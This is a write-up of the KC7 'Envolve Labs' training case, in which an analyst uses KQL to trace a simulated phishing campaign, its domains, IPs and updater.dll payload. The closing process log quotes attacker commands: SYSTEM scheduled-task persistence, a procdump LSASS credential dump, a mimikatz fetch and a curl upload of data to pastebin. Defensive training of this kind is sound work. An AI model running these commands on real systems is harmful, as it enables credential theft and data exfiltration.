Envolve Labs: With a twist!

One of KC7 Cyber's earliest cases, it's somewhat rough around the edges compared to newer cases. The game comes with a training guide which does all the heavy lifting regarding story and lore. To quote: Envolve Labs is a med-tech startup based in the United States that was founded in 2012. Our mission is to develop a new type of flexible vaccine technology that covers many different viral strains and offers long-lasting immunity [...]. However, the segments on sections 2 and 3 describe domains and events that do not reflect the actual game as it is; this writeup will somewhat fill the gaps on this regard.

The player takes on the role of a Junior Security Operations Center (SOC) Analyst in their first day at work.

The most important information in the training guide is a list of partners: We Sell Beakers™ (wesellbeakers.com), PharmaSupplies, Inc. (pharmasupplies.org), Vaccine Distributors Worldwide (vaccinedistributors.com), and Research Compliance, PSC (researchcompliance.com)

In what might be a remanant of earlier KC7 development, the InboundNetworkEvents table is known as InboundBrowsing (and same for the Outbound tables), but the columns remain the same. The SecurityEvents table is missing.

Sections

Section 1 - KQL 101

I decide to do a brief scoping of the organization's size.

Employees
| count
Query Results
Count
1,001
Employees
| summarize count() by role
Query Results
role count_
Human Resources associate 156
Marketing associate 154
Lab Technician 149
Medical Researcher 146
Finance associate 141
IT associate 140
Trial Administrator 100
Vice President 10
Chief Marketing Officer 1
Chief Executive Officer 1
Chief Financial Officer 1
role 1
Chief Information Security Officer 1

Envolve Labs employs 1,000 people, with most employees being human resources and marketing associates, closely followed by lab technicians, medical researchers, finance associates and IT associates.

A single "person" in the Employees table (for a total of 1,001 employees) seems to be some sort of test user with placeholder values (their name is "name" and so on.)

Section 2 - Clustering and Attribution

Security researchers recently noted a domain used in phishing campaigns targeting the medical industry: disarm-remarkable.science. Better safe than sorry, I opt to check if we've received any emails with this domain:

Email
| where tostring( parse_url(link).Host) == "disarm-remarkable.science"
Query Results
event_time sender reply_to recipient subject accepted link
2022-01-07 13:21:39.3280 john-n-johnmoderno@yahoo.com vaccinejournal@yahoo.com terry_simpson@envolvelabs.com Research opportunties! Apply today true http://disarm-remarkable.science/modules/online/search/modules/share/online/ResearchBibliographyGenerator.zip

Unfortunately, there it is. IT Associate Terry Simpson received an email offering "research opportunties", with a link prompting to download a ResearchBibliographyGenerator.zip on 2022-01-07 at 13:21:39 in the afternoon. The sender is john-n-johnmoderno@yahoo.com with the reply-to being vaccinejournal@yahoo.com. The email passed our filters, being deemed safe. I first confirm if Terry Simpson clicked the link, downloaded the file and opened it:

Email
| where tostring( parse_url(link).Host) == "disarm-remarkable.science"
| distinct link
| lookup OutboundBrowsing on $left.link == $right.url
Query Results
link timestamp method src_ip user_agent
http://disarm-remarkable.science/modules/online/search/modules/share/online/ResearchBibliographyGenerator.zip 2022-01-07 13:24:12.3280 POST 192.168.1.25 Mozilla/5.0 (iPad; CPU iPad OS 4_2_1 like Mac OS X) AppleWebKit/535.1 (KHTML, like Gecko) CriOS/21.0.863.0 Mobile/24A062 Safari/535.1

Unfortunately, Terry Simpson clicked the link just three seconds after receiving the email; the IP address and user agent corresponds to his device. Before pivoting to his device and what could've happened in it, I check for other signs of phishing attempts from the sender and reply-to with this query:

let bad_addr_table =
Email
| where sender in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
or reply_to in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
| distinct reply_to, sender; //generate a table with these two columns
bad_addr_table
| project bad_addr = sender
| union (bad_addr_table | project bad_addr = reply_to) //merge the two columns into one
| distinct bad_addr
| lookup Email on $left.bad_addr == $right.sender //lookup all bad email addresses as senders
Query Results
bad_addr event_time reply_to recipient subject accepted link
pfizar.fda@hotmail.com 2022-01-04 07:36:59.2570 john-n-johnmoderno@yahoo.com daniel_pletcher@envolvelabs.com Your login information for CDC.gov true https://disarm.tech/public/published/Thesis_on_vaccine.exe
pfizar.fda@hotmail.com 2022-01-04 07:36:59.2570 john-n-johnmoderno@yahoo.com natalie_miller@envolvelabs.com Your login information for CDC.gov false https://disarm.tech/public/published/Thesis_on_vaccine.exe
pfizar.fda@hotmail.com 2022-01-04 07:36:59.2570 john-n-johnmoderno@yahoo.com jason_loveland@envolvelabs.com Your login information for CDC.gov true https://disarm.tech/public/published/Thesis_on_vaccine.exe
pfizar.fda@hotmail.com 2022-01-05 10:05:06.6470 pfizar.fda@hotmail.com darrell_contreras@envolvelabs.com The latest in stem cell research - Login to find out true https://swindled.bio/search/online/search/VaccineSafetyInfo.docx
journal@protonmail.com 2022-01-05 10:05:11.5870 pfizar.fda@hotmail.com sally_allen@envolvelabs.com Important Information about Covvid-19 vaccine safety true https://deprived.tech/search/images/images/published/public/Thesis_on_vaccine.xls
vaccinepandemic@aol.com 2022-01-06 09:24:43.3190 john-n-johnmoderno@yahoo.com james_garvey@envolvelabs.com Your login information for CDC.gov true https://virus.science/online/online/share/online/files/RESEARCH_OPPORTUNITIES.docx
vaccinepandemic@aol.com 2022-01-06 09:24:43.3190 john-n-johnmoderno@yahoo.com diane_rhodes@envolvelabs.com Your login information for CDC.gov true https://virus.science/online/online/share/online/files/RESEARCH_OPPORTUNITIES.docx
john-n-johnmoderno@yahoo.com 2022-01-06 09:28:01.8790 journal@protonmail.com michelle_linahan@envolvelabs.com Research opportunties! Apply today true deprived.tech/published/files/files/online/online/VaccineSafetyInfo.rar
john-n-johnmoderno@yahoo.com 2022-01-06 09:28:01.8790 journal@protonmail.com marie_bryant@envolvelabs.com Research opportunties! Apply today true deprived.tech/published/files/files/online/online/VaccineSafetyInfo.rar
john-n-johnmoderno@yahoo.com 2022-01-06 09:28:01.8790 journal@protonmail.com victoria_swartz@envolvelabs.com Research opportunties! Apply today true deprived.tech/published/files/files/online/online/VaccineSafetyInfo.rar
pfizar.fda@hotmail.com 2022-01-06 09:29:38.7790 pfizar.fda@hotmail.com duane_wixom@envolvelabs.com Interview Request - Recent research article true disarm-remarkable.science/files/public/share/published/online/RESEARCH_OPPORTUNITIES.docx
john-n-johnmoderno@yahoo.com 2022-01-07 13:21:39.3280 vaccinejournal@yahoo.com terry_simpson@envolvelabs.com Research opportunties! Apply today true http://disarm-remarkable.science/modules/online/search/modules/share/online/ResearchBibliographyGenerator.zip
vaccinejournal@yahoo.com 2022-01-08 12:24:20.8990 vaccinepandemic@aol.com mary_steele@envolvelabs.com Important Information about Covvid-19 vaccine safety true https://biotechascertained.com/share/search/modules/search/share/share/FDA_NOTICE.docx
vaccinejournal@yahoo.com 2022-01-08 12:24:20.8990 vaccinepandemic@aol.com tyler_sealock@envolvelabs.com Important Information about Covvid-19 vaccine safety true https://biotechascertained.com/share/search/modules/search/share/share/FDA_NOTICE.docx
vaccinejournal@yahoo.com 2022-01-08 12:27:00.8690 john-n-johnmoderno@yahoo.com alice_hooser@envolvelabs.com Interview Request - Recent research article true https://illness.med/published/published/modules/CovidTracker.pptx
vaccinejournal@yahoo.com 2022-01-08 12:27:00.8690 john-n-johnmoderno@yahoo.com jamie_celestin@envolvelabs.com Interview Request - Recent research article true https://illness.med/published/published/modules/CovidTracker.pptx
vaccinejournal@yahoo.com 2022-01-08 12:27:00.8690 john-n-johnmoderno@yahoo.com michael_chambers@envolvelabs.com Interview Request - Recent research article true https://illness.med/published/published/modules/CovidTracker.pptx
vaccinejournal@yahoo.com 2022-01-08 12:30:41.4490 john-n-johnmoderno@yahoo.com scott_cayo@envolvelabs.com The latest in stem cell research - Login to find out true https://immunotherapy-drub.bio/modules/modules/images/modules/files/ResearchBibliographyGenerator.pptx
vaccinejournal@yahoo.com 2022-01-08 12:30:41.4490 john-n-johnmoderno@yahoo.com lita_lorts@envolvelabs.com The latest in stem cell research - Login to find out true https://immunotherapy-drub.bio/modules/modules/images/modules/files/ResearchBibliographyGenerator.pptx
vaccinejournal@yahoo.com 2022-01-08 12:30:41.4490 john-n-johnmoderno@yahoo.com thomas_maguire@envolvelabs.com The latest in stem cell research - Login to find out false https://immunotherapy-drub.bio/modules/modules/images/modules/files/ResearchBibliographyGenerator.pptx

The malicious email addresses are:

  • pfizar.fda@hotmail.com
  • vaccinepandemic@aol.com
  • john-n-johnmoderno@yahoo.com
  • vaccinejournal@yahoo.com
  • journal@protonmail.com

20 emails were sent from all known malicious email addresses, targeting 20 distinct recipients. The role breakdown is as follows:

let bad_addr_table =
Email
| where sender in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
or reply_to in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
| distinct reply_to, sender; //generate a table with these two columns
bad_addr_table
| project bad_addr = sender
| union (bad_addr_table | project bad_addr = reply_to) //merge the two columns into one
| distinct bad_addr
| lookup Email on $left.bad_addr == $right.sender //lookup all bad email addresses as senders
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| summarize count() by role
Query Results
role count_
Human Resources associate 5
IT associate 5
Medical Researcher 3
Lab Technician 2
Trial Administrator 2
Finance associate 2
Marketing associate 1

Picking up from the emails we discovered, there are many other previously-unseen domains:

let bad_addr_table =
Email
| where sender in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
or reply_to in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
| distinct reply_to, sender; //generate a table with these two columns
bad_addr_table
| project bad_addr = sender
| union (bad_addr_table | project bad_addr = reply_to) //merge the two columns into one
| distinct bad_addr
| lookup Email on $left.bad_addr == $right.sender //lookup all bad email addresses as senders
| project ["bad_domains"] = tostring(parse_url(link).Host)
| where isnotempty(bad_domains)
| distinct bad_domains
Query Results
bad_domains
swindled.bio
disarm.tech
virus.science
disarm-remarkable.science
immunotherapy-drub.bio
illness.med
biotechascertained.com
deprived.tech

I did a series of nested lookups until I managed to catch all the domains and IPs associated to the threat actor. The final queries and results are as follows:

let bad_addr_table =
Email
| where sender in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
or reply_to in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
| distinct reply_to, sender; //generate a table with these two columns
bad_addr_table
| project bad_addr = sender
| union (bad_addr_table | project bad_addr = reply_to) //merge the two columns into one
| distinct bad_addr
| lookup Email on $left.bad_addr == $right.sender //lookup all bad email addresses as senders
| project ["bad_domains"] = tostring(parse_url(link).Host)
| where isnotempty(bad_domains)
| distinct bad_domains
| lookup PassiveDns on $left.bad_domains == $right.domain
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
Query Results
ip
109.12.172.244
178.84.205.199
93.211.119.14
221.124.107.44
163.11.85.193
112.243.120.104
143.245.84.167
57.180.172.95
70.21.202.99
218.169.108.251
79.138.211.65
26.68.141.87

A total of 12 distinct IP addresses.

let bad_addr_table =
Email
| where sender in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
or reply_to in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
| distinct reply_to, sender; //generate a table with these two columns
bad_addr_table
| project bad_addr = sender
| union (bad_addr_table | project bad_addr = reply_to) //merge the two columns into one
| distinct bad_addr
| lookup Email on $left.bad_addr == $right.sender //lookup all bad email addresses as senders
| project ["bad_domains"] = tostring(parse_url(link).Host)
| where isnotempty(bad_domains)
| distinct bad_domains
| lookup PassiveDns on $left.bad_domains == $right.domain
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
Query Results
domain
biotechdisarm.bio
vaccinebissau.science
deprivedbissau.med
swindled.bio
deprived.tech
disarm.tech
deprived.com
technologyswindled.med
virus.science
marblesvirus.science
vaccine.science
disarm-remarkable.science
immunotherapy-drub.bio
biotechascertained.com
biotechmedical.tech
illness.med
medicaldrub.bio
deprived-illness.tech

A total of 18 distinct domains. Checking against the Email table shows that not all domains were used in the phishing campaign i.e. there are only 20 emails containing any of these domains (see [5]).

Finally, I checked what files the targets were prompted to download. We already know Terry got the ResearchBibliographyGenerator.zip, but what about the others?

let bad_addr_table =
Email
| where sender in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
or reply_to in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
| distinct reply_to, sender; //generate a table with these two columns
bad_addr_table
| project bad_addr = sender
| union (bad_addr_table | project bad_addr = reply_to) //merge the two columns into one
| distinct bad_addr
| lookup Email on $left.bad_addr == $right.sender //lookup all bad email addresses as senders
| project ["bad_files"] = tostring(
    parse_path(
        tostring(
            parse_url(link).Path
        )
    ).Filename
)
| where isnotempty(bad_files)
| distinct bad_files
Query Results
bad_files
ResearchBibliographyGenerator.zip
Thesis_on_vaccine.xls
ResearchBibliographyGenerator.pptx
CovidTracker.pptx
FDA_NOTICE.docx
RESEARCH_OPPORTUNITIES.docx
VaccineSafetyInfo.docx
Thesis_on_vaccine.exe

Despite the subject lines generally implying these would be links to (false) login pages (see [5]), all the links lead to file downloads. It goes without saying that these files are malicious and very likely dropped some sort of payload once executed by the target(s). I checked for this with:

let bad_addr_table =
Email
| where sender in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
or reply_to in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
| distinct reply_to, sender; //generate a table with these two columns
let bad_files_var =
bad_addr_table
| project bad_addr = sender
| union (bad_addr_table | project bad_addr = reply_to) //merge the two columns into one
| distinct bad_addr
| lookup Email on $left.bad_addr == $right.sender //lookup all bad email addresses as senders
| project ["bad_files"] = tostring(
    parse_path(
        tostring(
            parse_url(link).Path
        )
    ).Filename
)
| where isnotempty(bad_files)
| distinct bad_files;
FileCreationEvents
| serialize
| extend payload = next(filename)
| where payload !in~ (bad_files_var)
and filename in~ (bad_files_var)
Query Results
timestamp hostname sha256 path filename size payload
2022-01-04 07:39:07.2570 0IUI-LAPTOP 338363140feb8d53c566fe5f34ca4aeeac9496114030b02b1bce2cb119e6971 C:\Users\dapletcher\Downloads\Thesis_on_vaccine.exe Thesis_on_vaccine.exe 2,060 updater.dll
2022-01-04 07:44:19.2570 KU1J-LAPTOP 232568cb9c5d1b3698334c504b173e637826d79074fb8fa23a54981578eb7dc9 C:\Users\jaloveland\Downloads\Thesis_on_vaccine.exe Thesis_on_vaccine.exe 1,790 updater.dll
2022-01-05 10:09:52.5870 R8FI-LAPTOP 9ea501ab7cfb30f371a163d63657a3ad455057c995db77cee13ffb5a3b89155e C:\Users\saallen\Downloads\Thesis_on_vaccine.xls Thesis_on_vaccine.xls 4,413 updater.dll
2022-01-06 09:27:52.3190 8IMM-LAPTOP d09aece05529096ad1be75284b30b957882be59f533d4aa2bd9adbd52605a799 C:\Users\jagarvey\Downloads\RESEARCH_OPPORTUNITIES.docx RESEARCH_OPPORTUNITIES.docx 5,637 updater.dll
2022-01-06 09:30:38.7790 ANUP-DESKTOP cc1f6d9dc3f5b5dbe5ecca4809a11af77a5f9157d23e1fee4ce7e5e364943665 C:\Users\duwixom\Downloads\RESEARCH_OPPORTUNITIES.docx RESEARCH_OPPORTUNITIES.docx 1,251 updater.dll
2022-01-06 09:31:46.3190 WNUE-LAPTOP 65d6af0c60e342e6bd0d33654bb7c29cddc859c581487af920ede255e639d2e C:\Users\dirhodes\Downloads\RESEARCH_OPPORTUNITIES.docx RESEARCH_OPPORTUNITIES.docx 9,635 updater.dll
2022-01-07 13:24:12.3280 DLY5-DESKTOP ecb80603030ebfa855276532926963bdebc8fbb2b95a9af52924e3a73e30e88 C:\Users\tesimpson\Downloads\ResearchBibliographyGenerator.zip ResearchBibliographyGenerator.zip 1,468 updater.dll
2022-01-08 12:27:26.8990 4P7P-DESKTOP ae87b97ab4f711f288cc383dd6eadc215d4273575b5a6d636fd48cb13f8b5cf9 C:\Users\masteele\Downloads\FDA_NOTICE.docx FDA_NOTICE.docx 4,246 updater.dll
2022-01-08 12:29:27.8990 PSB0-LAPTOP ea7610f2d03ed49a7f6a8eb595236330d676e09047eac67a821b5f8d528ca0cd C:\Users\tysealock\Downloads\FDA_NOTICE.docx FDA_NOTICE.docx 2,013 updater.dll
2022-01-08 12:31:37.8690 HYV7-LAPTOP cbcf7eca19a766b3aa8f3ab83d73243969e9042fb5e83a7b7b1d6a7d2ede062f C:\Users\alhooser\Downloads\CovidTracker.pptx CovidTracker.pptx 3,451 updater.dll
2022-01-08 12:33:19.4490 OJEP-MACHINE 6e4a6278077f310e69017dba9a173d9d27eddec9236231e1717a475c26242ae6 C:\Users\lilorts\Downloads\ResearchBibliographyGenerator.pptx ResearchBibliographyGenerator.pptx 1,308 updater.dll
2022-01-08 12:33:46.8690 ANZL-LAPTOP 6972dd2d4b04ba1fb46ec1afbe2223162da67173ba8c4b0032427a5533b50619 C:\Users\michambers\Downloads\CovidTracker.pptx CovidTracker.pptx 4,315 updater.dll
2022-01-08 12:36:10.4490 M491-LAPTOP bceb4150d122a03db493d0ebee6792a85597c848e688adfbcf540d6839471501 C:\Users\sccayo\Downloads\ResearchBibliographyGenerator.pptx ResearchBibliographyGenerator.pptx 9,316 updater.dll

All files are immediately followed by a updater.dll file. Note that in the table above the timestamp, sha256 hash and size correspond to the malicious downloads (i.e. the .exe, .zip, .pptx, .docx and .xls files) and not the payload. There are 29 instances of this file across 29 distinct hostnames. The affected users are:

FileCreationEvents
| where filename =~ "updater.dll"
| distinct hostname
| lookup Employees on $left.hostname == $right.hostname
| distinct role, name
| sort by role asc
Query Results
role name
Finance associate Traci Ecton
Finance associate Alice Hooser
Human Resources associate Janice Foesch
Human Resources associate Susan Jubilee
Human Resources associate Robert Ropp
Human Resources associate Jamie Celestin
Human Resources associate Daniel Pletcher
Human Resources associate Jason Loveland
Human Resources associate Diane Rhodes
IT associate Sherry Stokes
IT associate Terry Simpson
IT associate Bruce Angeles
IT associate Tyler Sealock
IT associate Heather Lurry
IT associate Richard Dodd
IT associate Dolly Brooks
IT associate Scott Cayo
Lab Technician James Garvey
Lab Technician Donald Schmidtke
Lab Technician Luz Bunnell
Lab Technician Mary Steele
Marketing associate Michael Chambers
Medical Researcher Lita Lorts
Medical Researcher Duane Wixom
Trial Administrator Ladonna Schueller
Trial Administrator Elizabeth Avalos
Trial Administrator Marie Bryant
Trial Administrator Sally Allen
Trial Administrator Michael Lutz

The breakdown per role is as follows:

  • IT associate: 8
  • Human Resources associate: 7
  • Trial Administrator: 5
  • Lab Technician: 4
  • Medical Researcher: 2
  • Finance associate: 2
  • Marketing associate: 1

To make sure I uncovered a payload, I check information on the updater.dll file itself:

FileCreationEvents
| where filename =~ "updater.dll"
| distinct sha256, path
Query Results
sha256 path
9bd3ea0950fdc75d21a8ee4926c0a14354db620f3a1f4895961e282022074c23 C:\Windows\system32\updater.dll
e3970346ff7fcc3665f027d7f221968087f3c42705f5799fbc1d2811ab1ca4ea C:\Windows\system32\updater.dll
0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b C:\ProgramData\Microsoft\Applications\updater.dll
3666cb55d0c4974bfee855ba43d596fc6d10baff5eb45ac8b6432a7d604cb8e9 C:\ProgramData\USOShared\updater.dll
ea05ff75fef906a60545129a7c5bea2956bfde63b8e714eb42db3ae50b99dec3 C:\ProgramData\Microsoft\Applications\updater.dll
94783f97b5a9312bdf1d9760f5ec1de2e36882989bc00aa218812684604b530f C:\ProgramData\USOShared\updater.dll
ea05ff75fef906a60545129a7c5bea2956bfde63b8e714eb42db3ae50b99dec3 C:\ProgramData\USOShared\updater.dll
370ce39ba328329ff16b5ede1079f6402e68abceb34e65cb31883a3b3730b530 C:\ProgramData\USOShared\updater.dll
0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b C:\Windows\system32\updater.dll
42a337bcec26df0130a11baf9e60179993851b88f1cabec52973f88774e903fb C:\ProgramData\USOShared\updater.dll
ebff4951be5e2481866fc61806b6bf8ebad297f09632a9c067bcdcec6d203521 C:\ProgramData\USOShared\updater.dll
ca1cc5c10de551849bb4d408b7db40e8d95b1ec5e5426860e4903131c754068c C:\ProgramData\USOShared\updater.dll
3666cb55d0c4974bfee855ba43d596fc6d10baff5eb45ac8b6432a7d604cb8e9 C:\Windows\system32\updater.dll
1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 C:\ProgramData\USOShared\updater.dll
09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99 C:\Windows\system32\updater.dll
ebff4951be5e2481866fc61806b6bf8ebad297f09632a9c067bcdcec6d203521 C:\Windows\system32\updater.dll
1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 C:\ProgramData\Microsoft\Applications\updater.dll
09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99 C:\ProgramData\Microsoft\Applications\updater.dll
09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99 C:\ProgramData\USOShared\updater.dll
12fe773f0937324b86821dab26d5b90f75c61adb24fc90a99d5c590304d1d8a0 C:\ProgramData\USOShared\updater.dll
42a337bcec26df0130a11baf9e60179993851b88f1cabec52973f88774e903fb C:\Windows\system32\updater.dll

A rundown of this information:

  • The file has multiple versions with 13 distinct hashes.
    1. 42a337bcec26df0130a11baf9e60179993851b88f1cabec52973f88774e903fb: flagged as 8UWLNSE4.dat, rated malicious by VirusTotal.
    2. 1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81: flagged as S4ZD8JVW.dat, rated malicious by VirusTotal.
    3. 370ce39ba328329ff16b5ede1079f6402e68abceb34e65cb31883a3b3730b530: flagged as JFDTBIEC.dat, rated malicious by VirusTotal.
    4. 09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99: flagged as F4CUA24P.exe, rated malicious by VirusTotal.
    5. 0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b: flagged as WFTIN7YS.exe, rated malicious by VirusTotal.
    6. e3970346ff7fcc3665f027d7f221968087f3c42705f5799fbc1d2811ab1ca4ea: flagged as C2YOXQ7U.dat, rated malicious by VirusTotal.
    7. 3666cb55d0c4974bfee855ba43d596fc6d10baff5eb45ac8b6432a7d604cb8e9: flagged as ISDQKWGM.dll, rated malicious by VirusTotal.
    8. ebff4951be5e2481866fc61806b6bf8ebad297f09632a9c067bcdcec6d203521: flagged as 6EWO98LG.dat, rated malicious by VirusTotal.
    9. ea05ff75fef906a60545129a7c5bea2956bfde63b8e714eb42db3ae50b99dec3: flagged as 818Y827X.exe, rated malicious by VirusTotal.
    10. 94783f97b5a9312bdf1d9760f5ec1de2e36882989bc00aa218812684604b530f: flagged as YA8ZY0QV.dll, rated malicious by VirusTotal.
    11. 9bd3ea0950fdc75d21a8ee4926c0a14354db620f3a1f4895961e282022074c23: flagged as Q9QQ4IZO.dll, rated malicious by VirusTotal.
    12. ca1cc5c10de551849bb4d408b7db40e8d95b1ec5e5426860e4903131c754068c: flagged as VG6MTLXW.dll, rated malicious by VirusTotal.
    13. 12fe773f0937324b86821dab26d5b90f75c61adb24fc90a99d5c590304d1d8a0: flagged as CRKY4ZTN.dat, rated malicious by VirusTotal.
  • The file is dropped at three possible locations in a target's system:
    1. C:\ProgramData\USOShared\updater.dll
    2. C:\Windows\system32\updater.dll
    3. C:\ProgramData\Microsoft\Applications\updater.dll

It's pretty clear there's nothing good about this. To check what (if anything) the threat actor did in our systems, I use this query:

let bad_addr_table =
Email
| where sender in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
or reply_to in ("john-n-johnmoderno@yahoo.com", "vaccinejournal@yahoo.com")
| distinct reply_to, sender; //generate a table with these two columns
let bad_files_var =
bad_addr_table
| project bad_addr = sender
| union (bad_addr_table | project bad_addr = reply_to) //merge the two columns into one
| distinct bad_addr
| lookup Email on $left.bad_addr == $right.sender //lookup all bad email addresses as senders
| project ["bad_files"] = tostring(
    parse_path(
        tostring(
            parse_url(link).Path
        )
    ).Filename
)
| where isnotempty(bad_files)
| distinct bad_files;
FileCreationEvents
| where filename in (bad_files_var)
| distinct hostname
| lookup ProcessEvents on $left.hostname == $right.hostname
| sort by hostname, timestamp asc
Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
hostname timestamp parent_process_name parent_process_hash process_commandline process_name process_hash
XYDC-MACHINE 2022-01-08 13:17:11.8690 updater.dll 42a337bcec26df0130a11baf9e60179993851b88f1cabec52973f88774e903fb whoami cmd.exe 5fd13949d6a1f0ab9bc8a6424e63fdabe6f97b1587e47110a4ea5d56712786b3
XYDC-MACHINE 2022-01-08 14:12:11.8690 updater.dll 42a337bcec26df0130a11baf9e60179993851b88f1cabec52973f88774e903fb schtasks /create /sc minute /mo 1 /tn "ttttask" /tr C:\Windows\system32\infector.exe /ru "SYSTEM" schtasks.exe efb9a88c6269d15da7b7c15e47365691d1154a47f8f19025d0a98163f40a0dab
XYDC-MACHINE 2022-01-08 15:12:36.8690 cmd.exe 91cd4dcae1fb8df778172ec4cdbed6a9e927b68f9d88d3d070f655b29f41faa4 ipconfigg cmd.exe 91cd4dcae1fb8df778172ec4cdbed6a9e927b68f9d88d3d070f655b29f41faa4
XYDC-MACHINE 2022-01-08 15:13:35.8690 cmd.exe 178b60dc70214c30577ee4c00e414d8590dc40ffcca70c559ca70d4d03c5e1b8 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 178b60dc70214c30577ee4c00e414d8590dc40ffcca70c559ca70d4d03c5e1b8
XYDC-MACHINE 2022-01-08 15:13:44.8690 cmd.exe b6feca625d2311f7b7df0f920919b45fe72acdebe0a0316396c5a697a8749847 C:\Windows\system32\cmd.exe /C getsystem cmd.exe b6feca625d2311f7b7df0f920919b45fe72acdebe0a0316396c5a697a8749847
XYDC-MACHINE 2022-01-08 15:14:06.8690 procdump64.exe 8d1f68089804e71e0fa4413c93651f3f179869aaddba111bf2865fe5f0ce2008 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe 8d1f68089804e71e0fa4413c93651f3f179869aaddba111bf2865fe5f0ce2008
XYDC-MACHINE 2022-01-08 15:14:39.8690 ipconfig.exe acba5d20c19b0ba19f3e0c875fd54ed6ca68fc4289de37f1cab1390741884043 ipconfig /all ipconfig.exe acba5d20c19b0ba19f3e0c875fd54ed6ca68fc4289de37f1cab1390741884043
XYDC-MACHINE 2022-01-08 15:14:58.8690 echo.exe 62957bb99c1c6b1a430aecb5bf0ec7742014f470397c104cf635fa64948fb8bc echo GET mimikatz.exe >> ftp.txt echo.exe 62957bb99c1c6b1a430aecb5bf0ec7742014f470397c104cf635fa64948fb8bc
XYDC-MACHINE 2022-01-08 15:15:13.8690 echo.exe acbc468cf32d02c2f948b553dbd87b2455d94d5b154189bf8fc05367d3c6336a copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe acbc468cf32d02c2f948b553dbd87b2455d94d5b154189bf8fc05367d3c6336a
XYDC-MACHINE 2022-01-08 15:16:08.8690 echo.exe 6c0f8f2c9b3d9a4a5a23def65594e16f9ed4a59fb326cf7b60b83668e678224c copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 6c0f8f2c9b3d9a4a5a23def65594e16f9ed4a59fb326cf7b60b83668e678224c
XYDC-MACHINE 2022-01-08 15:16:58.8690 echo.exe 3b64c3ff272780067dbdf3d11c28629b5443a53da8c1de6f1aeb03a1d9728e34 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe 3b64c3ff272780067dbdf3d11c28629b5443a53da8c1de6f1aeb03a1d9728e34
XYDC-MACHINE 2022-01-08 15:17:29.8690 echo.exe 80fcba9b488d1ee52ebb5a4dfadeb3a15326f64c835c7b204dfc484acd9787a0 curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 80fcba9b488d1ee52ebb5a4dfadeb3a15326f64c835c7b204dfc484acd9787a0
WNUE-LAPTOP 2022-01-06 09:45:50.3190 updater.dll ebff4951be5e2481866fc61806b6bf8ebad297f09632a9c067bcdcec6d203521 net user Administratr cmd.exe b4c614f1d257e046b43157b990747d169840b37138d39afaf4b75b793e62c20d
WNUE-LAPTOP 2022-01-06 10:07:50.3190 updater.dll ebff4951be5e2481866fc61806b6bf8ebad297f09632a9c067bcdcec6d203521 schtasks /create /sc minute /mo 1 /tn "ttttask" /tr C:\Windows\system32\infector.exe /ru "SYSTEM" schtasks.exe efb9a88c6269d15da7b7c15e47365691d1154a47f8f19025d0a98163f40a0dab
WNUE-LAPTOP 2022-01-07 06:08:48.3190 cmd.exe c77b844813e7dc9333980d0e5a398b3dd69e9a34bbe5177a95170e86ddcfbe8b ipconfigg cmd.exe c77b844813e7dc9333980d0e5a398b3dd69e9a34bbe5177a95170e86ddcfbe8b
WNUE-LAPTOP 2022-01-07 06:09:18.3190 cmd.exe a92f4b458e771bb17296fde39f0f4bf64d8bfb235cc1fefd416dc4befffd364b C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe a92f4b458e771bb17296fde39f0f4bf64d8bfb235cc1fefd416dc4befffd364b
WNUE-LAPTOP 2022-01-07 06:10:10.3190 cmd.exe f37fd2c5e944ba54e9b802b78dbec70eb418724839d670caa9928e54754f3e3b C:\Windows\system32\cmd.exe /C getsystem cmd.exe f37fd2c5e944ba54e9b802b78dbec70eb418724839d670caa9928e54754f3e3b
WNUE-LAPTOP 2022-01-07 06:10:42.3190 procdump64.exe 7303a050952a55e71e9d371dbd6a53ec62bf59da3f085b3399b17fce60b1ef57 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe 7303a050952a55e71e9d371dbd6a53ec62bf59da3f085b3399b17fce60b1ef57
